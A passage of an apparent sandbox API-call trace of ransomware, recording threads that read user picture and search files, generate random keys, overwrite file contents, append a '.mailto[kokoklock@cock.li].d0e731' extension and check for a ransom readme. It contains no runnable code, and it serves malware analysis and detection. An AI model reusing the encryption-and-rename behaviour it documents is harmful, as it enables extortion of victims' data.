hFile=0x370, lpBuffer=0x2f881b0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x10aefe54, lpOverlapped=0x0 | out: lpBuffer=0x2f881b0*, lpNumberOfBytesWritten=0x10aefe54*=0x8, lpOverlapped=0x0) returned 1 [0169.485] WriteFile (in: hFile=0x370, lpBuffer=0x10aefe6c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x10aefe54, lpOverlapped=0x0 | out: lpBuffer=0x10aefe6c*, lpNumberOfBytesWritten=0x10aefe54*=0x4, lpOverlapped=0x0) returned 1 [0169.485] WriteFile (in: hFile=0x370, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x10aefe54, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x10aefe54*=0x4, lpOverlapped=0x0) returned 1 [0169.485] WriteFile (in: hFile=0x370, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x10aefe54, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x10aefe54*=0x6c, lpOverlapped=0x0) returned 1 [0169.485] WriteFile (in: hFile=0x370, lpBuffer=0x2f88250*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x10aefe54, lpOverlapped=0x0 | out: lpBuffer=0x2f88250*, lpNumberOfBytesWritten=0x10aefe54*=0x20, lpOverlapped=0x0) returned 1 [0169.485] WriteFile (in: hFile=0x370, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x10aefe54, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x10aefe54*=0x4, lpOverlapped=0x0) returned 1 [0169.486] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88250) returned 1 [0169.486] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88098) returned 1 [0169.486] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f881b0) returned 1 [0169.486] CloseHandle (hObject=0x370) returned 1 [0169.486] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14c) returned 0x2f6ab60 [0169.486] wcscpy (in: _Dest=0x2f6ab60, _Source="C:\\Users\\FD1HVy\\Searches\\winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Searches\\winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Searches\\winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms.mailto[kokoklock@cock.li].d0e731" [0169.486] wcscat (in: _Dest=0x2f6ab60, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Searches\\winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Searches\\winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0169.486] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Searches\\winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\searches\\winrt--{s-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Searches\\winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\searches\\winrt--{s-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0169.487] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Searches\\winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.487] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ab60) returned 1 [0169.487] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Searches\\winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0169.487] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x58) returned 0x2fa4300 [0169.487] wcscpy (in: _Dest=0x2fa4300, _Source="C:\\Users\\FD1HVy\\Searches\\" | out: _Dest="C:\\Users\\FD1HVy\\Searches\\") returned="C:\\Users\\FD1HVy\\Searches\\" [0169.487] wcscat (in: _Dest=0x2fa4300, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Searches\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Searches\\D0E731-Readme.txt" [0169.487] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Searches\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\searches\\d0e731-readme.txt")) returned 0x20 [0169.488] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4300) returned 1 [0169.488] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96a28) returned 1 [0169.488] RtlExitUserThread (Status=0x1) Thread: id = 1850 os_tid = 0x4d0 [0169.489] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\14xFtQ.jpg.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\14xftq.jpg.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0169.490] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\14xFtQ.jpg.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.490] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\14xFtQ.jpg.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\14xftq.jpg.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0169.490] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x10b6fcf8 | out: lpFileSize=0x10b6fcf8*=48761) returned 1 [0169.490] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0xbe75, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.490] ReadFile (in: hFile=0x370, lpBuffer=0x10b6fccc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x10b6fcc8, lpOverlapped=0x0 | out: lpBuffer=0x10b6fccc*, lpNumberOfBytesRead=0x10b6fcc8*=0x4, lpOverlapped=0x0) returned 1 [0169.491] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.491] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f884a8 [0169.491] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88520 [0169.491] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f883e0 [0169.491] NtQuerySystemTime (in: CurrentTime=0x10b6fca4 | out: CurrentTime=0x10b6fca4*=132121213268033095) returned 0x0 [0169.491] RtlRandom (in: Seed=0x10b6fcb0 | out: Seed=0x10b6fcb0) returned 0xa9bb1b4d [0169.491] RtlRandom (in: Seed=0x10b6fcb0 | out: Seed=0x10b6fcb0) returned 0xf63ab2c5 [0169.491] RtlRandom (in: Seed=0x10b6fcb0 | out: Seed=0x10b6fcb0) returned 0xef20a32a [0169.491] RtlRandom (in: Seed=0x10b6fcb0 | out: Seed=0x10b6fcb0) returned 0x962f500c [0169.491] RtlRandom (in: Seed=0x10b6fcb0 | out: Seed=0x10b6fcb0) returned 0x9f9bab80 [0169.491] RtlRandom (in: Seed=0x10b6fcb0 | out: Seed=0x10b6fcb0) returned 0x6b90663d [0169.491] RtlRandom (in: Seed=0x10b6fcb0 | out: Seed=0x10b6fcb0) returned 0x231deaa5 [0169.491] RtlRandom (in: Seed=0x10b6fcb0 | out: Seed=0x10b6fcb0) returned 0x241716e0 [0169.491] RtlRandom (in: Seed=0x10b6fcb0 | out: Seed=0x10b6fcb0) returned 0x8cde7786 [0169.491] RtlRandom (in: Seed=0x10b6fcb0 | out: Seed=0x10b6fcb0) returned 0x29e650af [0169.491] RtlRandom (in: Seed=0x10b6fcb0 | out: Seed=0x10b6fcb0) returned 0xde4b23d0 [0169.491] RtlRandom (in: Seed=0x10b6fcb0 | out: Seed=0x10b6fcb0) returned 0x4bc9af85 [0169.491] RtlRandom (in: Seed=0x10b6fcb0 | out: Seed=0x10b6fcb0) returned 0xce77666c [0169.491] RtlRandom (in: Seed=0x10b6fcb0 | out: Seed=0x10b6fcb0) returned 0xd2f6b858 [0169.492] RtlRandom (in: Seed=0x10b6fcb0 | out: Seed=0x10b6fcb0) returned 0x2e36e059 [0169.492] RtlRandom (in: Seed=0x10b6fcb0 | out: Seed=0x10b6fcb0) returned 0x437cd0e [0169.492] RtlRandom (in: Seed=0x10b6fcb0 | out: Seed=0x10b6fcb0) returned 0x44cc3938 [0169.492] RtlRandom (in: Seed=0x10b6fcb0 | out: Seed=0x10b6fcb0) returned 0xe7a110a [0169.492] RtlRandom (in: Seed=0x10b6fcb0 | out: Seed=0x10b6fcb0) returned 0x566bdc6a [0169.492] RtlRandom (in: Seed=0x10b6fcb0 | out: Seed=0x10b6fcb0) returned 0xb4d7a82b [0169.492] RtlRandom (in: Seed=0x10b6fcb0 | out: Seed=0x10b6fcb0) returned 0x90726a51 [0169.492] RtlRandom (in: Seed=0x10b6fcb0 | out: Seed=0x10b6fcb0) returned 0x5546735d [0169.492] RtlRandom (in: Seed=0x10b6fcb0 | out: Seed=0x10b6fcb0) returned 0x5b727d7 [0169.492] RtlRandom (in: Seed=0x10b6fcb0 | out: Seed=0x10b6fcb0) returned 0x6f46471f [0169.492] RtlRandom (in: Seed=0x10b6fcb0 | out: Seed=0x10b6fcb0) returned 0x87521b58 [0169.492] RtlRandom (in: Seed=0x10b6fcb0 | out: Seed=0x10b6fcb0) returned 0x4d31040e [0169.492] RtlRandom (in: Seed=0x10b6fcb0 | out: Seed=0x10b6fcb0) returned 0xc070d9bb [0169.492] RtlRandom (in: Seed=0x10b6fcb0 | out: Seed=0x10b6fcb0) returned 0x7d5f3cfb [0169.492] RtlRandom (in: Seed=0x10b6fcb0 | out: Seed=0x10b6fcb0) returned 0xb451fe27 [0169.492] RtlRandom (in: Seed=0x10b6fcb0 | out: Seed=0x10b6fcb0) returned 0x89ad6d87 [0169.492] RtlRandom (in: Seed=0x10b6fcb0 | out: Seed=0x10b6fcb0) returned 0x557701fb [0169.492] RtlRandom (in: Seed=0x10b6fcb0 | out: Seed=0x10b6fcb0) returned 0xda1ba09a [0169.501] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88250 [0169.503] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96dc8 [0169.503] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88098 [0169.503] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96dc8) returned 1 [0169.503] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f884a8) returned 1 [0169.503] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3046b08 [0169.503] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.503] ReadFile (in: hFile=0x370, lpBuffer=0x3046b08, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x10b6fc7c, lpOverlapped=0x0 | out: lpBuffer=0x3046b08*, lpNumberOfBytesRead=0x10b6fc7c*=0x4096, lpOverlapped=0x0) returned 1 [0169.504] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.504] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f877d0 [0169.504] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96be8 [0169.504] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f884d0 [0169.504] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f884d0) returned 1 [0169.504] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x304aba8 [0169.505] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88200 [0169.505] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88368 [0169.505] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88368) returned 1 [0169.505] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96be8) returned 1 [0169.505] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f877d0) returned 1 [0169.505] WriteFile (in: hFile=0x370, lpBuffer=0x304aba8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x10b6fc7c, lpOverlapped=0x0 | out: lpBuffer=0x304aba8*, lpNumberOfBytesWritten=0x10b6fc7c*=0x4096, lpOverlapped=0x0) returned 1 [0169.505] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304aba8) returned 1 [0169.505] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0xbe79, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.505] WriteFile (in: hFile=0x370, lpBuffer=0x2f88200*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x10b6fcb4, lpOverlapped=0x0 | out: lpBuffer=0x2f88200*, lpNumberOfBytesWritten=0x10b6fcb4*=0x20, lpOverlapped=0x0) returned 1 [0169.506] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88200) returned 1 [0169.506] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3046b08) returned 1 [0169.506] WriteFile (in: hFile=0x370, lpBuffer=0x2f88098*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x10b6fcc8, lpOverlapped=0x0 | out: lpBuffer=0x2f88098*, lpNumberOfBytesWritten=0x10b6fcc8*=0x8, lpOverlapped=0x0) returned 1 [0169.506] WriteFile (in: hFile=0x370, lpBuffer=0x10b6fce0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x10b6fcc8, lpOverlapped=0x0 | out: lpBuffer=0x10b6fce0*, lpNumberOfBytesWritten=0x10b6fcc8*=0x4, lpOverlapped=0x0) returned 1 [0169.506] WriteFile (in: hFile=0x370, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x10b6fcc8, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x10b6fcc8*=0x4, lpOverlapped=0x0) returned 1 [0169.507] WriteFile (in: hFile=0x370, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x10b6fcc8, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x10b6fcc8*=0x6c, lpOverlapped=0x0) returned 1 [0169.507] WriteFile (in: hFile=0x370, lpBuffer=0x2f88520*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x10b6fcc8, lpOverlapped=0x0 | out: lpBuffer=0x2f88520*, lpNumberOfBytesWritten=0x10b6fcc8*=0x20, lpOverlapped=0x0) returned 1 [0169.507] WriteFile (in: hFile=0x370, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x10b6fcc8, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x10b6fcc8*=0x4, lpOverlapped=0x0) returned 1 [0169.507] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88520) returned 1 [0169.507] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88250) returned 1 [0169.507] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88098) returned 1 [0169.507] CloseHandle (hObject=0x370) returned 1 [0169.508] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2ff17a8 [0169.508] wcscpy (in: _Dest=0x2ff17a8, _Source="C:\\Users\\FD1HVy\\Pictures\\14xFtQ.jpg.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\14xFtQ.jpg.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\14xFtQ.jpg.mailto[kokoklock@cock.li].d0e731" [0169.508] wcscat (in: _Dest=0x2ff17a8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\14xFtQ.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\14xFtQ.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0169.508] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\14xFtQ.jpg.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\14xftq.jpg.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\14xFtQ.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\14xftq.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0169.509] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\14xFtQ.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.509] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff17a8) returned 1 [0169.509] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\14xFtQ.jpg.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0169.509] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x58) returned 0x2fa44e0 [0169.509] wcscpy (in: _Dest=0x2fa44e0, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0169.509] wcscat (in: _Dest=0x2fa44e0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0169.509] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0169.510] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa44e0) returned 1 [0169.510] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe5138) returned 1 [0169.511] RtlExitUserThread (Status=0x1) Thread: id = 1851 os_tid = 0xc58 [0169.512] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\5iqL.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\5iql.gif.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0169.513] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\5iqL.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.513] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\5iqL.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\5iql.gif.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0169.513] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x10befe64 | out: lpFileSize=0x10befe64*=59796) returned 1 [0169.513] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0xe990, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.513] ReadFile (in: hFile=0x370, lpBuffer=0x10befe38, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x10befe34, lpOverlapped=0x0 | out: lpBuffer=0x10befe38*, lpNumberOfBytesRead=0x10befe34*=0x4, lpOverlapped=0x0) returned 1 [0169.514] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.514] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f884a8 [0169.514] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88520 [0169.514] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f884d0 [0169.514] NtQuerySystemTime (in: CurrentTime=0x10befe10 | out: CurrentTime=0x10befe10*=132121213268345399) returned 0x0 [0169.514] RtlRandom (in: Seed=0x10befe1c | out: Seed=0x10befe1c) returned 0x9887fb83 [0169.514] RtlRandom (in: Seed=0x10befe1c | out: Seed=0x10befe1c) returned 0x4d71afdf [0169.514] RtlRandom (in: Seed=0x10befe1c | out: Seed=0x10befe1c) returned 0xda008f31 [0169.514] RtlRandom (in: Seed=0x10befe1c | out: Seed=0x10befe1c) returned 0x8d22c841 [0169.514] RtlRandom (in: Seed=0x10befe1c | out: Seed=0x10befe1c) returned 0xeffe7542 [0169.514] RtlRandom (in: Seed=0x10befe1c | out: Seed=0x10befe1c) returned 0x1fc28d37 [0169.515] RtlRandom (in: Seed=0x10befe1c | out: Seed=0x10befe1c) returned 0x9ecfa615 [0169.515] RtlRandom (in: Seed=0x10befe1c | out: Seed=0x10befe1c) returned 0xb2e20b73 [0169.515] RtlRandom (in: Seed=0x10befe1c | out: Seed=0x10befe1c) returned 0x6c5b2b35 [0169.515] RtlRandom (in: Seed=0x10befe1c | out: Seed=0x10befe1c) returned 0xbc3b9d8e [0169.515] RtlRandom (in: Seed=0x10befe1c | out: Seed=0x10befe1c) returned 0xbba857f4 [0169.515] RtlRandom (in: Seed=0x10befe1c | out: Seed=0x10befe1c) returned 0x228d184e [0169.515] RtlRandom (in: Seed=0x10befe1c | out: Seed=0x10befe1c) returned 0x9017899e [0169.515] RtlRandom (in: Seed=0x10befe1c | out: Seed=0x10befe1c) returned 0xb647c973 [0169.515] RtlRandom (in: Seed=0x10befe1c | out: Seed=0x10befe1c) returned 0x67483c [0169.515] RtlRandom (in: Seed=0x10befe1c | out: Seed=0x10befe1c) returned 0xf81410fe [0169.515] RtlRandom (in: Seed=0x10befe1c | out: Seed=0x10befe1c) returned 0xef484a54 [0169.515] RtlRandom (in: Seed=0x10befe1c | out: Seed=0x10befe1c) returned 0x9b9de1fb [0169.515] RtlRandom (in: Seed=0x10befe1c | out: Seed=0x10befe1c) returned 0xf5efcb1c [0169.515] RtlRandom (in: Seed=0x10befe1c | out: Seed=0x10befe1c) returned 0x347274ca [0169.515] RtlRandom (in: Seed=0x10befe1c | out: Seed=0x10befe1c) returned 0x7d0665e1 [0169.515] RtlRandom (in: Seed=0x10befe1c | out: Seed=0x10befe1c) returned 0x4d9c56e [0169.515] RtlRandom (in: Seed=0x10befe1c | out: Seed=0x10befe1c) returned 0x770b5a33 [0169.515] RtlRandom (in: Seed=0x10befe1c | out: Seed=0x10befe1c) returned 0xd70a7252 [0169.515] RtlRandom (in: Seed=0x10befe1c | out: Seed=0x10befe1c) returned 0xc0626824 [0169.515] RtlRandom (in: Seed=0x10befe1c | out: Seed=0x10befe1c) returned 0x5ea179ec [0169.515] RtlRandom (in: Seed=0x10befe1c | out: Seed=0x10befe1c) returned 0x13b625b8 [0169.515] RtlRandom (in: Seed=0x10befe1c | out: Seed=0x10befe1c) returned 0xb9156945 [0169.515] RtlRandom (in: Seed=0x10befe1c | out: Seed=0x10befe1c) returned 0x94e3dcbc [0169.515] RtlRandom (in: Seed=0x10befe1c | out: Seed=0x10befe1c) returned 0xf04ac0e4 [0169.515] RtlRandom (in: Seed=0x10befe1c | out: Seed=0x10befe1c) returned 0xe4d1df1d [0169.515] RtlRandom (in: Seed=0x10befe1c | out: Seed=0x10befe1c) returned 0xa9fcb8ab [0169.524] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88250 [0169.526] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96dc8 [0169.526] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88098 [0169.526] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96dc8) returned 1 [0169.526] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f884a8) returned 1 [0169.526] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3046b08 [0169.526] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.526] ReadFile (in: hFile=0x370, lpBuffer=0x3046b08, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x10befde8, lpOverlapped=0x0 | out: lpBuffer=0x3046b08*, lpNumberOfBytesRead=0x10befde8*=0x4096, lpOverlapped=0x0) returned 1 [0169.527] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.527] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f877d0 [0169.527] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96dc8 [0169.527] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88368 [0169.527] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88368) returned 1 [0169.527] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x304aba8 [0169.527] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88368 [0169.528] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f881b0 [0169.528] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f881b0) returned 1 [0169.528] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96dc8) returned 1 [0169.528] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f877d0) returned 1 [0169.528] WriteFile (in: hFile=0x370, lpBuffer=0x304aba8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x10befde8, lpOverlapped=0x0 | out: lpBuffer=0x304aba8*, lpNumberOfBytesWritten=0x10befde8*=0x4096, lpOverlapped=0x0) returned 1 [0169.528] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304aba8) returned 1 [0169.528] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0xe994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.528] WriteFile (in: hFile=0x370, lpBuffer=0x2f88368*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x10befe20, lpOverlapped=0x0 | out: lpBuffer=0x2f88368*, lpNumberOfBytesWritten=0x10befe20*=0x20, lpOverlapped=0x0) returned 1 [0169.529] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88368) returned 1 [0169.529] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3046b08) returned 1 [0169.529] WriteFile (in: 